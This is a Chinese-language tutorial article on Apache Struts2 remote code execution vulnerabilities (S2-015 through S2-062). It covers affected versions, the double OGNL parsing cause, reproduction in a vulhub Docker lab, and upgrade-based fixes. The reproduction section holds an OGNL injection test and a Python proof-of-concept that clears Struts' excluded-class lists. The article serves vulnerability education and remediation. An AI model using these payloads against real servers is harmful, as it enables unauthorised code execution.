Struts远程漏洞是什么,它如何影响网络安全?

Apache Struts远程漏洞

简介

Struts远程漏洞是什么,它如何影响网络安全?插图1

Apache Struts是一个用于开发Java EE Web应用程序的开源Web应用框架,Struts2的某些版本存在远程命令执行漏洞,这些漏洞允许攻击者通过发送特制的请求来执行任意代码,本文将详细介绍Struts2远程漏洞的相关信息,包括影响版本、漏洞描述、复现步骤和修复方案。

漏洞

漏洞编号 CVE编号 漏洞描述 影响版本
S2-015 CVE-2013-2135 Apache Struts2远程代码执行漏洞 2.0.0至2.3.14.2
S2-059 CVE-2019-0230 Apache Struts2远程代码执行漏洞 2.0.0至2.5.20
S2-061 CVE-2020-17530 Apache Struts2远程代码执行漏洞(绕过了S2-059的修复) 2.0.0至2.5.25
S2-062 CVE-2021-31805 Apache Struts2远程代码执行漏洞(绕过了S2-061的修复) 2.0.0至2.5.29

漏洞描述

Struts2远程代码执行漏洞是由于在处理某些标签属性时,对用户输入的数据进行了二次OGNL(Object Graphical Navigation Language)解析,导致攻击者可以通过构造恶意的OGNL表达式来执行任意代码,这些漏洞主要存在于Struts2的以下版本中:

S2-015:影响版本为2.0.0至2.3.14.2,该漏洞允许远程攻击者通过发送包含特定序列值(如${}%{})的请求来执行任意OGNL代码。

S2-059:影响版本为2.0.0至2.5.20,该漏洞与S2-015类似,但在修复S2-015的过程中未完全解决,仍然存在二次OGNL解析的问题。

S2-061:影响版本为2.0.0至2.5.25,该漏洞是S2-059的一个绕过,即使开发人员使用了%{...}语法进行强制OGNL解析,某些特殊的TAG属性仍可被二次解析。

S2-062:影响版本为2.0.0至2.5.29,该漏洞是S2-061的一个绕过,当开发人员使用%{...}语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析。

漏洞复现

Struts远程漏洞是什么,它如何影响网络安全?插图3

环境搭建

1、下载漏洞靶场环境:可以使用[vulhub](https://github.com/vulhub/vulhub)中的Docker环境进行搭建。

2、启动Docker环境

    git clone https://github.com/vulhub/vulhub
    cd vulhub/struts2/s2-061
    sudo docker-compose up -d

3、访问靶机:在浏览器中访问http://your-ip:8080,如果出现相应页面,说明环境搭建成功。

漏洞验证

1、S2-061漏洞验证

在浏览器中访问以下URL:

      http://your-ip:8080/?id=%25{7*7}

如果返回结果是49,则说明存在二次表达式解析,存在该漏洞。

2、S2-062漏洞验证

Struts远程漏洞是什么,它如何影响网络安全?插图5

构造并发送以下POC请求:

      import requests
      url = "http://your-ip:8080"
      data = {
          "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
      }
      res = requests.post(url, data=data)
      print(res.text)

修复方案

1、升级Struts版本:建议升级到最新版本的Struts,以获取安全补丁。

2、备份旧版项目:在进行升级前,务必备份旧版本的Struts项目目录。

3、替换新版Struts库:下载并校验新版Struts库的SHA256值,确保文件完整性,然后替换旧版Struts库。

4、验证修复结果:重新启动Tomcat服务器,并验证漏洞是否已被修复。

Apache Struts的远程代码执行漏洞严重影响系统安全性,及时更新和修复是防护的关键,通过上述步骤,用户可以有效地检测和修复这些漏洞,确保系统的安全运行。

以上内容就是解答有关struts远程漏洞的详细内容了,我相信这篇文章可以为您解决一些疑惑,有任何问题欢迎留言反馈,谢谢阅读。

本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/89279.html

小末小末
上一篇 2024年11月3日 08:42
下一篇 2024年11月3日 08:58

相关推荐